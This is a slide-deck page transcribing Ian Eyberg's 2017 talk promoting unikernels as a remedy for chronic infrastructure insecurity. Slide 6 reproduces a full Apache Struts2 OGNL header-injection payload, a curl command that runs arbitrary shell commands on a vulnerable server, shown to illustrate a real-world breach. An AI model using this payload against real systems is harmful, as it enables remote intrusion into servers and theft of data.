Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Climbing Out From the Digital Mud with Unikernels - HL2017

Ian Eyberg
November 10, 2017

Climbing Out From the Digital Mud with Unikernels - HL2017

We've been accumulating digital mud for the past four decades with our software infrastructure. Unikernels offer a way forward to stop the security catastrophes and show the path forward.

Ian Eyberg

November 10, 2017
Tweet

More Decks by Ian Eyberg

Other Decks in Programming

Transcript

  1. ulimits are off?? bash: fork: retry: Resource temporarily unavailable bash:

    fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable
  2. C I O , C I S O , C

    E O “ R E T I R E D ”
  3. M U LT I P L E C O N

    G R E S S I O N A L H E A R I N G S
  4. I N S I D E R T R A

    D I N G I N V E S T I G AT I O N
  5. D O Z E N S O F C L

    A S S A C T I O N L AW S U I T S
  6. curl i -s -k -x $’GET’ \ —H $'User-Agent: Mozilla/5.0'

    -H $'Content-Type: %{(#_=\'multipart/form- data\').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd=\'ls -lat /\'). (#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'w in\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'- c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream( ))).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}' $’https://pure.ownage'
  7. PA S S W O R D S ? S

    H E L L ? D B A C C E S S ?
  8. T H E F U T U R E I

    S U N I K E R N E L S
  9. ▸ search for existing apps ▸ create a new app

    ▸ show running apps ▸ show installed apps ▸ run an app ▸ pull project D E M O T I M E